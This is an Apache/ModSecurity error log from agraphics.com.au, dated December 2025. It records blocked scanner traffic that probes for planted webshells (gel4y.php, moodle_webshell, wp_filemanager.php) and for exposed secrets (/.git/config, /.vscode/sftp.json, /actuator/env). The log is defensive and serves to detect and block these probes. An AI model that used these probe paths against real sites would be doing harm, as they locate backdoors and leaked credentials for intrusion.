[Mon Dec 08 17:29:37.713948 2025] [:error] [pid 63353:tid 63358] [client 98.159.43.9:52739] [client 98.159.43.9] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/modules/mod_rebug/library/index2.php"] [unique_id "aTaagRtg8HdYG392GAj_DAAAAII"]
[Mon Dec 08 17:29:38.060561 2025] [:error] [pid 58758:tid 58771] [client 98.159.43.49:30175] [client 98.159.43.49] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/modules/mod_ariimageslidersa/mod_ariimageslidersa.php"] [unique_id "aTaaggBS5U6_vVkyhEeCmgAAAEk"]
[Mon Dec 08 17:29:38.455091 2025] [:error] [pid 58758:tid 58762] [client 98.159.43.47:62623] [client 98.159.43.47] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/modules/modules/modules.php"] [unique_id "aTaaggBS5U6_vVkyhEeCmwAAAEA"]
[Mon Dec 08 17:29:38.832273 2025] [:error] [pid 2754:tid 2777] [client 98.159.43.7:43647] [client 98.159.43.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/modules/scrollbottom/anamama-2.php"] [unique_id "aTaagrSzS4AFjS-DhTUShwAAAVM"]
[Mon Dec 08 17:29:39.194055 2025] [:error] [pid 63353:tid 63370] [client 98.159.43.13:39779] [client 98.159.43.13] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/modules/sendinblue/mini.php"] [unique_id "aTaagxtg8HdYG392GAj_DQAAAI4"]
[Mon Dec 08 17:29:39.559001 2025] [:error] [pid 63353:tid 63364] [client 98.159.43.21:61967] [client 98.159.43.21] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/vendor/htmlawed/htmlawed/gel4y.php"] [unique_id "aTaagxtg8HdYG392GAj_DwAAAIg"]
[Mon Dec 08 17:29:39.909384 2025] [:error] [pid 37840:tid 37867] [client 98.159.43.22:44441] [client 98.159.43.22] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/libraries/joomla/index.php"] [unique_id "aTaag1nJIKqlie_aHNbG9QAAAZg"]
[Mon Dec 08 17:29:40.257977 2025] [:error] [pid 37840:tid 37866] [client 98.159.43.31:37607] [client 98.159.43.31] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/vendor/composer/about.php"] [unique_id "aTaahFnJIKqlie_aHNbG9gAAAZc"]
[Mon Dec 08 17:29:40.607123 2025] [:error] [pid 2754:tid 2778] [client 98.159.43.14:45591] [client 98.159.43.14] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/components/com_newsfeeds/models/index.php"] [unique_id "aTaahLSzS4AFjS-DhTUSiwAAAVQ"]
[Mon Dec 08 17:29:40.957973 2025] [:error] [pid 2754:tid 2768] [client 98.159.43.30:38699] [client 98.159.43.30] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/vendor/composer/cache.php"] [unique_id "aTaahLSzS4AFjS-DhTUSjAAAAUs"]
[Mon Dec 08 17:29:41.325091 2025] [:error] [pid 2754:tid 2773] [client 98.159.43.39:31929] [client 98.159.43.39] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/components/com_b2jcontact/izoc.php"] [unique_id "aTaahbSzS4AFjS-DhTUSjQAAAVA"]
[Mon Dec 08 17:29:41.690581 2025] [:error] [pid 2754:tid 2766] [client 98.159.43.28:45841] [client 98.159.43.28] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/libraries/joomla/jmail.php"] [unique_id "aTaahbSzS4AFjS-DhTUSjgAAAUk"]
[Mon Dec 08 17:29:42.042203 2025] [:error] [pid 37840:tid 37844] [client 98.159.43.48:21371] [client 98.159.43.48] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/libraries/joomla/css.php"] [unique_id "aTaahlnJIKqlie_aHNbG-AAAAYE"]
[Mon Dec 08 17:29:42.563328 2025] [:error] [pid 2754:tid 2764] [client 98.159.43.51:57037] [client 98.159.43.51] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/components/com_jbcatalog/libraries/jsupload/server/php/files/up.php"] [unique_id "aTaahrSzS4AFjS-DhTUSkQAAAUc"]
[Mon Dec 08 17:29:42.915088 2025] [:error] [pid 58759:tid 58793] [client 98.159.43.11:41285] [client 98.159.43.11] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/administrator/components/com_xcloner-backupandrestore/index2.php"] [unique_id "aTaahv6HZGkO2H0XX-h4iQAAAMM"]
[Mon Dec 08 17:29:43.280909 2025] [:error] [pid 63353:tid 63366] [client 98.159.43.22:43517] [client 98.159.43.22] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/administrator/components/com_xcloner-backupandrestore/language/english.php"] [unique_id "aTaahxtg8HdYG392GAj_EgAAAIo"]
[Mon Dec 08 17:29:43.638441 2025] [:error] [pid 63353:tid 63379] [client 98.159.43.16:37125] [client 98.159.43.16] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/libraries/legacy/updates.php"] [unique_id "aTaahxtg8HdYG392GAj_EwAAAJc"]
[Mon Dec 08 17:29:44.002944 2025] [:error] [pid 63353:tid 63368] [client 98.159.43.25:40169] [client 98.159.43.25] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/libraries/phpmailer/updates.php"] [unique_id "aTaaiBtg8HdYG392GAj_FQAAAIw"]
[Mon Dec 08 17:29:44.388588 2025] [:error] [pid 58847:tid 58867] [client 98.159.43.36:58189] [client 98.159.43.36] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/libraries/vendor/updates.php"] [unique_id "aTaaiHy4UHQXWKMwpHnacgAAAQ4"]
[Mon Dec 08 17:29:46.272187 2025] [:error] [pid 2754:tid 2780] [client 98.159.43.49:28677] [client 98.159.43.49] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/admin/resources/dummy/log.php"] [unique_id "aTaairSzS4AFjS-DhTUSlwAAAVY"]
[Mon Dec 08 17:29:46.626367 2025] [:error] [pid 58760:tid 58831] [client 98.159.43.46:54637] [client 98.159.43.46] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/admin/log.php"] [unique_id "aTaaimqmF_jKbCz9E6lP0QAAAA4"]
[Mon Dec 08 17:29:47.056831 2025] [:error] [pid 2754:tid 2764] [client 98.159.43.45:27795] [client 98.159.43.45] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/admin/include/student.php"] [unique_id "aTaai7SzS4AFjS-DhTUSnAAAAUc"]
[Mon Dec 08 17:29:47.429883 2025] [:error] [pid 63353:tid 63371] [client 98.159.43.20:55959] [client 98.159.43.20] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/admin/cache.php"] [unique_id "aTaaixtg8HdYG392GAj_FwAAAI8"]
[Mon Dec 08 17:29:47.796918 2025] [:error] [pid 58759:tid 58799] [client 98.159.43.2:59423] [client 98.159.43.2] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/administrator/index.php"] [unique_id "aTaai_6HZGkO2H0XX-h4igAAAMk"]
[Mon Dec 08 17:29:48.198051 2025] [:error] [pid 37840:tid 37866] [client 98.159.43.7:54491] [client 98.159.43.7] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/admin/controller/extension/extension/index.php"] [unique_id "aTaajFnJIKqlie_aHNbHAAAAAZc"]
[Mon Dec 08 17:29:48.552641 2025] [:error] [pid 2754:tid 2771] [client 98.159.43.17:52675] [client 98.159.43.17] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/local/index.php"] [unique_id "aTaajLSzS4AFjS-DhTUSnQAAAU4"]
[Mon Dec 08 17:29:48.922684 2025] [:error] [pid 58759:tid 58794] [client 98.159.43.46:32587] [client 98.159.43.46] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/themes/classic/x.php"] [unique_id "aTaajP6HZGkO2H0XX-h4jAAAAMQ"]
[Mon Dec 08 17:29:49.298122 2025] [:error] [pid 58760:tid 58823] [client 98.159.43.21:60765] [client 98.159.43.21] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/assets/images/adriv4.php"] [unique_id "aTaajWqmF_jKbCz9E6lP0gAAAAY"]
[Mon Dec 08 17:29:49.725380 2025] [:error] [pid 58760:tid 58833] [client 98.159.43.9:33841] [client 98.159.43.9] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/themes/zMousse/otuz1.php"] [unique_id "aTaajWqmF_jKbCz9E6lP1AAAABA"]
[Mon Dec 08 17:29:50.150064 2025] [:error] [pid 58759:tid 58812] [client 98.159.43.29:33547] [client 98.159.43.29] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/sites/default/files/index.php"] [unique_id "aTaajv6HZGkO2H0XX-h4jgAAANY"]
[Mon Dec 08 17:29:50.522879 2025] [:error] [pid 37840:tid 37847] [client 98.159.43.40:22247] [client 98.159.43.40] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/local/moodle_webshell/index.php"] [unique_id "aTaajlnJIKqlie_aHNbHAQAAAYQ"]
[Mon Dec 08 17:29:50.889681 2025] [:error] [pid 37840:tid 37861] [client 98.159.43.38:60805] [client 98.159.43.38] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/plugins/content/apismtp/wp-domain.php"] [unique_id "aTaajlnJIKqlie_aHNbHAwAAAZI"]
[Mon Dec 08 17:29:51.379133 2025] [:error] [pid 37840:tid 37848] [client 98.159.43.19:33805] [client 98.159.43.19] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/plugins/content/apismtp/setting-api.php"] [unique_id "aTaaj1nJIKqlie_aHNbHBAAAAYU"]
[Mon Dec 08 18:23:28.432135 2025] [autoindex:error] [pid 58760:tid 58823] [client 209.97.156.74:52762] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Mon Dec 08 23:07:59.199303 2025] [:error] [pid 48482:tid 48530] [client 13.70.2.1:3340] [client 13.70.2.1] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aTbpz323gV7gRu3vn82lFQAAAJI"]
[Mon Dec 08 23:07:59.433684 2025] [:error] [pid 48541:tid 48551] [client 13.70.2.1:24647] [client 13.70.2.1] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aTbpzwSNhJPArxLCdWEriwAAAQg"]
[Mon Dec 08 23:07:59.668421 2025] [:error] [pid 48482:tid 48522] [client 13.70.2.1:3385] [client 13.70.2.1] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aTbpz323gV7gRu3vn82lFgAAAIo"]
[Mon Dec 08 23:07:59.927720 2025] [:error] [pid 48573:tid 48596] [client 13.70.2.1:3355] [client 13.70.2.1] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aTbpz1Iayuqwlm3CEkat0AAAAVU"]
[Tue Dec 09 05:35:21.256419 2025] [:error] [pid 62041:tid 62120] [client 77.239.108.81:51486] [client 77.239.108.81] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aTdEmfOmnJGvfaNPxPNNYAAAAJc"]
[Tue Dec 09 07:57:26.916198 2025] [:error] [pid 6097:tid 6101] [client 128.199.182.55:33852] [client 128.199.182.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/v2/api-docs"] [unique_id "aTdl5uY9nDD1R9gHO2S4qAAAAcI"]
[Tue Dec 09 07:57:27.918264 2025] [:error] [pid 62039:tid 62048] [client 128.199.182.55:33864] [client 128.199.182.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/v3/api-docs"] [unique_id "aTdl56-WdjFepfLrlW6gsAAAAAU"]
[Tue Dec 09 07:57:28.917896 2025] [:error] [pid 6053:tid 6059] [client 128.199.182.55:33874] [client 128.199.182.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/api-docs/swagger.json"] [unique_id "aTdl6CHz_Tnml8kdMwzJ1QAAAYQ"]
[Tue Dec 09 07:57:29.889624 2025] [:error] [pid 34783:tid 34806] [client 142.93.129.190:50460] [client 142.93.129.190] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/v2/api-docs"] [unique_id "aTdl6a17odLapL7SFcxQbgAAAVU"]
[Tue Dec 09 07:57:29.919291 2025] [:error] [pid 62039:tid 62065] [client 128.199.182.55:56624] [client 128.199.182.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/api/swagger.json"] [unique_id "aTdl6a-WdjFepfLrlW6gsgAAABY"]
[Tue Dec 09 07:57:30.890256 2025] [:error] [pid 34783:tid 34807] [client 142.93.129.190:50474] [client 142.93.129.190] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/v3/api-docs"] [unique_id "aTdl6q17odLapL7SFcxQcAAAAVY"]
[Tue Dec 09 07:57:30.916508 2025] [:error] [pid 62039:tid 62058] [client 128.199.182.55:56630] [client 128.199.182.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/@vite/env"] [unique_id "aTdl6q-WdjFepfLrlW6gswAAAA8"]
[Tue Dec 09 07:57:31.890359 2025] [:error] [pid 62039:tid 62045] [client 142.93.129.190:50490] [client 142.93.129.190] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/api-docs/swagger.json"] [unique_id "aTdl66-WdjFepfLrlW6gtgAAAAI"]
[Tue Dec 09 07:57:31.933209 2025] [:error] [pid 62039:tid 62049] [client 128.199.182.55:56638] [client 128.199.182.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/actuator/env"] [unique_id "aTdl66-WdjFepfLrlW6gtwAAAAY"]
[Tue Dec 09 07:57:32.903937 2025] [:error] [pid 62124:tid 62139] [client 142.93.129.190:50498] [client 142.93.129.190] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/api/swagger.json"] [unique_id "aTdl7FraBX51GaCVVuVhHAAAAMw"]
[Tue Dec 09 07:57:32.921475 2025] [:error] [pid 62039:tid 62053] [client 128.199.182.55:56642] [client 128.199.182.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/server"] [unique_id "aTdl7K-WdjFepfLrlW6gugAAAAo"]
[Tue Dec 09 07:57:33.898839 2025] [:error] [pid 62041:tid 62105] [client 142.93.129.190:48526] [client 142.93.129.190] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/@vite/env"] [unique_id "aTdl7fOmnJGvfaNPxPNuOQAAAIg"]
[Tue Dec 09 07:57:33.921465 2025] [:error] [pid 62040:tid 62076] [client 128.199.182.55:56658] [client 128.199.182.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.vscode/sftp.json"] [unique_id "aTdl7fkSVjwLGqZL-9J_DwAAAEY"]
[Tue Dec 09 07:57:34.890609 2025] [:error] [pid 26689:tid 26755] [client 142.93.129.190:48534] [client 142.93.129.190] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/actuator/env"] [unique_id "aTdl7tkbfj8nyBvIyRBcqwAAARM"]
[Tue Dec 09 07:57:35.891204 2025] [:error] [pid 62041:tid 62103] [client 142.93.129.190:48540] [client 142.93.129.190] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/server"] [unique_id "aTdl7_OmnJGvfaNPxPNuOgAAAIY"]
[Tue Dec 09 07:57:35.923652 2025] [:error] [pid 6097:tid 6120] [client 128.199.182.55:56664] [client 128.199.182.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/about"] [unique_id "aTdl7-Y9nDD1R9gHO2S4qwAAAdU"]
